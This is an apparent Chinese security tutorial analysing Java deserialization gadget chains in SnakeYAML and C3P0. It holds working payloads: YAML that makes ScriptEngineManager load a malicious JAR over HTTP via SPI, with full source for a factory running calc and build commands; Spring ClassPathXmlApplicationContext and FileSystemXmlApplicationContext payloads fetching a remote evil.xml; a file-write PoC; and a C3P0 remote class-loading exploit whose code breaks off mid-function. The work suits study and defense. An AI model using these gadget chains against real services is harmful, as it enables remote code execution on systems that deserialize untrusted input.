根据前面对 SnakeYaml 的分析,我们可以通过 SnakeYaml 反序列化调任意满足条件 setter 和构造函数,并且参数可控。

ScriptEngineManager

javax.script.ScriptEngineManager 是 JSR-223(Java 脚本 API)的“引擎管理器”。它的职责就是找到系统里的脚本引擎(Nashorn、Rhino、Groovy、Python……),并按名字/后缀返回 ScriptEngine

这里 ScriptEngineManager 的“插件发现”用的是 SPI(Service Provider Interface)机制,这是一种“接口在这、实现由外部提供”的约定。Java 用 ServiceLoader 来做“在类路径上自动发现实现实例化”:

  • 服务接口:一组 API(比如 javax.script.ScriptEngineFactory)。
  • 服务提供者 JAR:把实现类(比如 com.foo.MyEngineFactory)打进 JAR,并且在 META-INF/services/<服务接口全名> 这个文件里列出实现类的全限定名
  • 发现与实例化:应用调用 ServiceLoader.load(接口, 某个ClassLoader)ServiceLoader 会用那个 ClassLoader 找到所有 META-INF/services/... 文件 → 读每一行类名 → 加载类new 一个(要求无参构造)。

因此我们可以构造 ScriptEngineManager payload,利用 SPI 机制通过 URLClassLoader 远程加载恶意字节码文件。

首先我们需要构造一个供 ScriptEngineManager 加载的恶意 JAR 包,并且 JAR 包中的路径需要按照下面这样构造:

1
2
3
4
5
6
7
acme-engine.jar
├─ META-INF/
│ └─ services/
│ └─ javax.script.ScriptEngineFactory # 文件内容:com.acme.MyEngineFactory
└─ com/
└─ acme/
└─ MyEngineFactory.class
  • META-INF/services/javax.script.ScriptEngineFactory 告诉 ServiceLoaderScriptEngineManager 内部使用它)有哪些 ScriptEngineFactory 提供者。文件内容每行一个实现类的全限定名,忽略空行/空白;# 之后为注释;重复条目忽略;并且提供者类必须有“无参构造函数”,以便加载时实例化。

    1
    com.acme.MyEngineFactory
  • com/acme/MyEngineFactory.class 是真正的“提供者类”(**实现 javax.script.ScriptEngineFactory**),由 ScriptEngineManager 通过 ServiceLoader 发现并 加载 + 实例化。这要求 ScriptEngineFactory 的实现类 MyEngineFactory

    • public非抽象
    • public 无参构造(由 ServiceLoader 反射创建);
    • 放在和包名一致的路径下(com/acme/...),并能被用于发现的 ClassLoader 访问到。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    package com.acme;

    import javax.script.*;
    import java.util.*;
    import java.io.IOException;

    public class MyEngineFactory implements ScriptEngineFactory {

    public MyEngineFactory() {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }

    @Override public String getEngineName() { return null; }
    @Override public String getEngineVersion() { return null; }
    @Override public List<String> getExtensions() { return null; }
    @Override public List<String> getMimeTypes() { return null; }
    @Override public List<String> getNames() { return null; }
    @Override public String getLanguageName() { return null; }
    @Override public String getLanguageVersion() { return null; }
    @Override public Object getParameter(String key) { return null; }
    @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
    @Override public String getOutputStatement(String toDisplay) { return null; }
    @Override public String getProgram(String... statements) { return null; }
    @Override public ScriptEngine getScriptEngine() { return null; }
    }

要想编译上述 JAR 包,首先需要按照下面这个格式创建源码目录:

1
2
3
4
5
project/
├─ src/
│ └─ com/acme/MyEngineFactory.java // 实现 ScriptEngineFactory
└─ resources/
└─ META-INF/services/javax.script.ScriptEngineFactory

创建命令如下:

  • powershell:

    1
    2
    mkdir project\src\com\acme
    mkdir project\resources\META-INF\services
  • bash:

    1
    mkdir -p project/src/com/acme project/resources/META-INF/services

然后将其打包成 JAR 包:

  • powershell:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    $env:JAVA_HOME="C:\Program Files\Java\jdk1.8.0_65"

    # 1) 复制 SPI 文件到编译输出(out\classes)的相同路径
    New-Item -ItemType Directory -Force out\classes\META-INF\services | Out-Null
    Copy-Item -Force `
    resources\META-INF\services\javax.script.ScriptEngineFactory `
    out\classes\META-INF\services\

    # 2) 打包(把 out\classes 的内容作为 JAR 根)
    & "$env:JAVA_HOME\bin\jar.exe" -cvf acme-engine.jar -C out\classes .

    # 3) 校验
    & "$env:JAVA_HOME\bin\jar.exe" tf acme-engine.jar
  • bash:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    set -e

    # 1) 复制 SPI 文件到编译输出(out/classes)的相同路径
    mkdir -p out/classes/META-INF/services out/classes
    cp -f resources/META-INF/services/javax.script.ScriptEngineFactory \
    out/classes/META-INF/services/

    # 2) 编译源码到 out/classes 目录
    javac -encoding UTF-8 -d out/classes src/com/acme/MyEngineFactory.java

    # 3) 打包(把 out/classes 的内容作为 JAR 根)
    jar -cvf acme-engine.jar -C out/classes .

    # 4) 校验
    jar tf acme-engine.jar

然后用 SnakeYaml 反序列化下面这段 Yaml 内容就可以远程加载 JAR 包并执行 MyEngineFactory.class 中的代码:

1
2
3
4
5
6
Yaml yaml = new Yaml();
String yamlString = "!!javax.script.ScriptEngineManager\n" +
" [ !!java.net.URLClassLoader\n" +
" [[ !!java.net.URL [\"http://127.0.0.1:9999/acme-engine.jar\"] ]]\n" +
" ]";
yaml.load(yamlString);

上述反序列化的 Yaml 内容本质上是嵌套调用了三个类的构造函数:

  1. 解析最内层:!!java.net.URL ["http://.../acme-engine.jar"]
    → 找到 URL(String) 构造器 → 得到一个 URL 实例。

  2. 解析中间层:!!java.net.URLClassLoader [[ <URL> ]]

    → 内层 []URL 转换成数组形式的 URL[]

    → 外层 [] 调用构造函数 URLClassLoader(URL[]) → 得到一个 URLClassLoader,其搜索路径包含 "http://.../acme-engine.jar"

  3. 解析最外层:!!javax.script.ScriptEngineManager [ <URLClassLoader> ]
    → 匹配到 ScriptEngineManager(ClassLoader) 构造器 → 开始执行 SEM 的构造函数。

对于最外层的 ScriptEngineManager,有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
at java.lang.Runtime.exec(Runtime.java:347)
at com.acme.MyEngineFactory.<init>(MyEngineFactory.java:10)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at java.util.ServiceLoader$LazyIterator.nextService(ServiceLoader.java:380)
at java.util.ServiceLoader$LazyIterator.next(ServiceLoader.java:404)
at java.util.ServiceLoader$1.next(ServiceLoader.java:480)
at javax.script.ScriptEngineManager.initEngines(ScriptEngineManager.java:122)
at javax.script.ScriptEngineManager.init(ScriptEngineManager.java:84)
at javax.script.ScriptEngineManager.<init>(ScriptEngineManager.java:75)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.yaml.snakeyaml.constructor.Constructor$ConstructSequence.construct(Constructor.java:570)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
at Main.main(Main.java:10)

其中 javax.script.ScriptEngineManager#initEngines 函数首先调用 getServiceLoader 函数根据我们传入的 URLClassLoader 远程加载 JAR 包并按 SPI 规则加载其中的 ScriptEngineFactory。后续遍历操作触发类的实例化执行代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/**
* 按是否提供 ClassLoader 来创建用于发现脚本引擎工厂的 ServiceLoader:
* - 若传入了 loader(例如自定义的 URLClassLoader),就用它去做 SPI 发现;
* - 若未传入(为 null),则回退到“已安装的”提供者集合(由系统/平台类加载器可见的实现)。
*/
private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {
if (loader != null) {
// 使用调用方指定的 ClassLoader 在其可见范围内查找
// META-INF/services/javax.script.ScriptEngineFactory,并按 SPI 规则加载实现
return ServiceLoader.load(ScriptEngineFactory.class, loader);
} else {
// 未指定 ClassLoader:使用系统默认的“已安装”提供者集合
//(等价于由系统/平台类加载器进行发现,加载类路径或系统可见位置中的实现)
return ServiceLoader.loadInstalled(ScriptEngineFactory.class);
}
}

// 初始化并收集所有可用的 ScriptEngineFactory(脚本引擎工厂,SPI 提供者)。
// 步骤:在受限权限环境下创建 ServiceLoader → 获取迭代器(惰性解析)→ 逐个实例化并加入 engineSpis。
// 设计:强容错(单个 provider 出错不影响其他)、不向外抛异常(允许后续手动 registerXXX 注册)。
private void initEngines(final ClassLoader loader) {
Iterator<ScriptEngineFactory> itr = null;
try {
// 以特权动作创建 ServiceLoader(兼容老的 SecurityManager 场景,读取 META-INF/services/...)
ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(
new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {
@Override
public ServiceLoader<ScriptEngineFactory> run() {
// 根据传入的 loader 决定搜索范围:
// - 非空:ServiceLoader.load(..., loader)
// - 为空:getServiceLoader 内部走 loadInstalled(只查“已安装”的类加载器层级,更保守)
return getServiceLoader(loader);
}
});

// ServiceLoader 是惰性的:此处仅拿到迭代器;真正的类名解析/类加载/实例化
// 可能在 hasNext()/next() 期间发生,因此后面还要分别捕获异常。
itr = sl.iterator();
} catch (ServiceConfigurationError err) {
// [...]
}

try {
// 遍历所有可发现的 ScriptEngineFactory 提供者
while (itr.hasNext()) {
try {
// 惰性解析下一项:这里可能触发类加载/无参构造/静态初始化,若失败会包成 ServiceConfigurationError。
ScriptEngineFactory fact = itr.next();

// 成功拿到实现,加入内部列表,后续按名称/扩展名/MIME 做匹配时使用。
engineSpis.add(fact);
} catch (ServiceConfigurationError err) {
// [...]
}
}
} catch (ServiceConfigurationError err) {
// [...]
}
}

SpringFramework 远程加载配置

Spring 当中有两个类的构造函数远程加载配置,可以构成 RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

org.springframework.context.support.ClassPathXmlApplicationContext

1
!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeCustomInitMethod(AbstractAutowireCapableBeanFactory.java:1930)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1872)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$14.1325056130.getObject(Unknown Source:-1)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955)
at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:144)
at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:85)

org.springframework.context.support.FileSystemXmlApplicationContext

1
!!org.springframework.context.support.FileSystemXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeCustomInitMethod(AbstractAutowireCapableBeanFactory.java:1930)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1872)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1800)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$14.1325056130.getObject(Unknown Source:-1)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955)
at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:929)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:591)
at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:142)
at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85)

写文件加载本地 jar

1
2
3
4
5
6
7
!!sun.rmi.server.MarshalOutputStream [
!!java.util.zip.InflaterOutputStream [
!!java.io.FileOutputStream [ !!java.io.File ["filePath"], false ],
!!java.util.zip.Inflater { input: !!binary base64 },
length
]
]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.yaml.snakeyaml.Yaml;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlFilePOC {

public static void main(String[] args) throws IOException {
String poc = createPoc("E:/flag.txt", "E:/a.txt");
System.out.println(poc);
// Yaml yaml = new Yaml();
// yaml.load(poc);
}
public static String createPoc(String src, String path) throws IOException {
byte[] file = JavaUtils.getBytesFromFile(src);
int length = file.length;
byte[] compressed = compress(file);
String b64 = Base64.getEncoder().encodeToString(compressed);
String payload = "!!sun.rmi.server.MarshalOutputStream " +
"[!!java.util.zip.InflaterOutputStream [" +
"!!java.io.FileOutputStream [" +
"!!java.io.File [\"" + path + "\"],false]," +
"!!java.util.zip.Inflater { input: !!binary " + b64 + " }, " + length +
"]]";
return payload;
}

public static byte[] compress(byte[] input) throws IOException {
Deflater deflater = new Deflater();
deflater.setInput(input);
deflater.finish();

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

byte[] buffer = new byte[1024];
while (!deflater.finished()) {
int compressedSize = deflater.deflate(buffer);
outputStream.write(buffer, 0, compressedSize);
}

outputStream.close();
return outputStream.toByteArray();
}
}

C3P0

C3P0 是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有 Hibernate、Spring 等。

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.11.2</version>
</dependency>

远程类加载(反序列化触发)

1
2
3
4
5
6
7
at java.lang.Runtime.exec(Runtime.java:347)
at EvilClass.<clinit>(EvilClass.java:-1)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.mchange.v2.naming.ReferenceableUtils.referenceToObject(ReferenceableUtils.java:91)
at com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject(ReferenceIndirector.java:118)
at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject(PoolBackedDataSourceBase.java:211)

原理分析

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 这个类的序列化和反序列化的过程没有像传统的自定义序列化那样调用 defaultWriteObject()defaultReadObject(),而是完全由自身控制序列化和反序列化的过程。

序列化过程

首先先观察 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 的序列化过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 自定义的“流格式版本号”(自己写进 ObjectOutputStream,自己再读出来判断)
// 用于控制 writeObject/readObject 的字段布局演进,与 serialVersionUID 不同。
private static final short VERSION = 0x0001;

private void writeObject(ObjectOutputStream oos) throws IOException {
// 1) 先写入自定义版本号,readObject 会先读它并做 switch 分支
oos.writeShort(VERSION);

try {
// 2) 预探测:尝试把 connectionPoolDataSource 序列化到字节数组
// —— 这里不是真要用结果,只是为了触发 NotSerializableException(如果它不可序列化)
SerializableUtils.toByteArray(connectionPoolDataSource);

// 2.1) 若未抛异常,说明它是可序列化的,直接按“普通对象”写入
oos.writeObject(connectionPoolDataSource);
} catch (NotSerializableException nse) {
// 2.2) 否则走“间接序列化”分支:把对象包装成可写形态(携带 JNDI Reference)
com.mchange.v2.log.MLog.getLogger(this.getClass())
.log(com.mchange.v2.log.MLevel.FINE,
"Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try {
// ReferenceIndirector 会把对象转成实现了 IndirectlySerialized 的包装,
// 内部携带 javax.naming.Reference(含工厂类名与位置),从而可写入流。
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject(indirector.indirectForm(connectionPoolDataSource));
}
// [...]
}

// [...]
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject 函数中,首先先调用 com.mchange.v2.ser.SerializableUtils#toByteArray 函数尝试对 connectionPoolDataSource 字段进行序列化,调用栈如下:

1
2
3
4
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:343)
at com.mchange.v2.ser.SerializableUtils.serializeToByteArray(SerializableUtils.java:99)
at com.mchange.v2.ser.SerializableUtils.toByteArray(SerializableUtils.java:51)
at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.writeObject(PoolBackedDataSourceBase.java:161)

如果 connectionPoolDataSource 字段不能被序列化,则会抛出 NotSerializableException 异常被 ObjectOutputStream#writeObject 后面的 cache 捕获。

cahce 部分首先先实例化一个 com.mchange.v2.naming.ReferenceIndirector 对象,然后调用 ReferenceIndirector#indirectFormconnectionPoolDataSource 字段进行包装然后再序列化。

indirectForm 函数返回了一个实例化的 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 对象,这是 ReferenceIndirector 的一个私有内部类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 将不可直接序列化的对象(必须实现 Referenceable)包装成“可间接序列化”的形态。
// 这里的返回类型 IndirectlySerialized 是一个“可序列化的标记接口”(继承 Serializable),
// 包装里携带了 JNDI 的 Reference 及可选的 Name/Context/env 元数据。
// 之后在 readObject 阶段,会调用包装的 getObject() 再把它“还原”为真实对象。
public IndirectlySerialized indirectForm(Object orig) throws Exception {
// 从原始对象取出 JNDI 引用。前提:orig 实现了 javax.naming.Referenceable。
Reference ref = ((Referenceable) orig).getReference();
// 用 Reference + 元数据 构造一个可序列化的包装体返回
return new ReferenceSerialized(ref, name, contextName, environmentProperties);
}

// 这个内部类就是“间接序列化”的载体:把 Reference 等必要信息打包进来,
// 使其本身可以被 ObjectOutputStream 写出;反序列化后通过 getObject() 还原。
private static class ReferenceSerialized implements IndirectlySerialized {
// 待还原对象的 JNDI 引用(包含工厂类名/位置以及一组地址属性)
Reference reference;
// 逻辑名(可选)。在某些工厂解析场景中用于标识条目
Name name;
// 上下文名(可选)。如果提供,会先在初始上下文下 lookup 到这个子上下文,再在其中解析引用
Name contextName;
// 环境属性(可选),构造 InitialContext 时使用(相当于 JNDI 的 env)
Hashtable env;

ReferenceSerialized(Reference reference,
Name name,
Name contextName,
Hashtable env) {
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}

// [...]
}

由于前面实例化 ReferenceIndirector 调用的是它的无参构造函数,因此这里实例化 ReferenceSerialized 时传入的其余参数都是默认空值。

唯一一个与被包装的 connectionPoolDataSource 对象相关的参数是 ref,这是调用 connectionPoolDataSourcegetReference 方法获取到的,被赋值给 ReferenceSerializedreference 属性。

反序列化过程

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject 在完成 connectionPoolDataSource 字段反序列化后,会判断该字段是否是 IndirectlySerialized 的实现类。如果是的话会调用 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static final short VERSION = 0x0001;

// 反序列化钩子:当通过 ObjectInputStream 读取该类实例时,会走到这个方法。
// 需要按与 writeObject 完全一致的顺序读取各字段,否则会抛出流损坏异常。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 读取自定义的序列化版本号,用于兼容不同版本的字段布局
short version = ois.readShort();

switch (version) {
case VERSION:
// 人为加一个小作用域,只是为了在下面复用同名临时变量 o(避免变量名冲突)
{
// 读取 connectionPoolDataSource 字段,
// 也可能是“间接序列化(IndirectlySerialized)”的包装)
Object o = ois.readObject();

// 如果读取到的是间接序列化包装(例如 ReferenceIndirector.ReferenceSerialized),
// 则通过 getObject() 还原为真正的目标对象。
// 【安全注意】这里的 getObject() 内部会调用 ReferenceableUtils.referenceToObject(...)
// 可能根据 factoryClassLocation 使用 URLClassLoader 加载远程类,这是常见利用点。
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();

// 将还原后的对象强转并赋给成员字段
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}

// [...]
}
}

由于前面序列化阶段因为 connectionPoolDataSource 不可序列化而经过了 ReferenceSerialized 的包装,因此这里满足是 IndirectlySerialized 的实现类的条件,因此会调用 ReferenceSerialized#getObject 函数获取实际的 connectionPoolDataSource 字段。

ReferenceSerialized#getObject 函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 反序列化之后的“复原”入口:把 Reference 解析成真实对象并返回
public Object getObject() throws ClassNotFoundException, IOException {
try {
// 1) 构造初始上下文(带或不带环境属性)
Context initialContext = (env == null) ? new InitialContext()
: new InitialContext(env);

// 2) 如果指定了 contextName,则先在初始上下文下 lookup 到该子上下文
Context nameContext = null;
if (contextName != null)
nameContext = (Context) initialContext.lookup(contextName);

// 3) 核心:把 Reference 解析为具体对象
// ReferenceableUtils.referenceToObject(...) 内部会:
// - 读取 reference 的 factoryClassName / factoryClassLocation
// - 如有 factoryClassLocation,则使用 URLClassLoader(支持 http/https/jar/file 等) 加载工厂类
// - 实例化为 javax.naming.spi.ObjectFactory,并调用 getObjectInstance(...) 得到目标对象
// 这一步也是常见的可执行点:若工厂类初始化或 getObjectInstance 含有副作用,将在此触发。
return ReferenceableUtils.referenceToObject(reference, name, nameContext, env);

} catch (NamingException e) {
// [...]
}
}

由于前面 ReferenceIndirector#indirectForm 实例化 ReferenceSerialized 的时候只有 reference 是非空的,因此这里会调用 com.mchange.v2.naming.ReferenceableUtils#referenceToObject 函数获取真正的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 将 JNDI Reference 解析为真实对象:按 Reference 中的工厂类名/位置加载 ObjectFactory,并调用其 getObjectInstance(...)。
public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException {
try {
// 从 Reference 中取出“工厂类名”和“工厂类代码位置”(可为空)
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();

// 优先使用当前线程的上下文类加载器(TCCL);若为 null,则退回到本工具类的类加载器
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if (defaultClassLoader == null) defaultClassLoader = ReferenceableUtils.class.getClassLoader();

ClassLoader cl;
if (fClassLocation == null) {
// 未指定远程位置 → 使用默认类加载器(只在本地类路径查找)
cl = defaultClassLoader;
} else {
// 指定了工厂类位置 → 创建 URLClassLoader(父为默认 CL)
// 【安全提示】这里可接受 http/https/file/jar 等 URL,意味着可以进行远程代码加载
URL u = new URL(fClassLocation);
cl = new URLClassLoader(new URL[]{u}, defaultClassLoader);
}

// 按给定类加载器加载工厂类;第二个参数 true 表示“初始化类”,会触发 <clinit>(静态代码块)
// 【要点】如果工厂类的静态初始化有副作用(恶意代码),此处就会被执行
Class fClass = Class.forName(fClassName, true, cl);

// 反射构造工厂实例;要求有无参构造且实现 javax.naming.spi.ObjectFactory
ObjectFactory of = (ObjectFactory) fClass.newInstance();

// 调用工厂的 getObjectInstance,根据 Reference 还原出目标对象(或执行工厂自定义逻辑)
return of.getObjectInstance(ref, name, nameCtx, env);
}
// [...]
}

referenceToObject 函数会在 Reference 对象设置了 classFactoryLocation 的情况下使用 URLClassLoader 远程加载类并调用无参构造函数实例化,这就实现了远程类加载。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;

public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}

public Reference getReference() throws NamingException {
return new Reference("foo", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}

public static Object getObject(String url) throws Exception {
String[] r = splitClassUrl(url);
PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
setFieldValue(base, "connectionPoolDataSource", new PoolSource(r[1], r[0]));
return base;
}

public static byte[] getPayload(String url) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(url));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("http://127.0.0.1:9999/EvilClass.class");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static String[] splitClassUrl(String s) throws Exception {
URL u = new URL(s);
// 服务器基址(含协议/主机/端口,兼容 IPv6)
String base = u.getProtocol() + "://" + u.getAuthority() + "/";
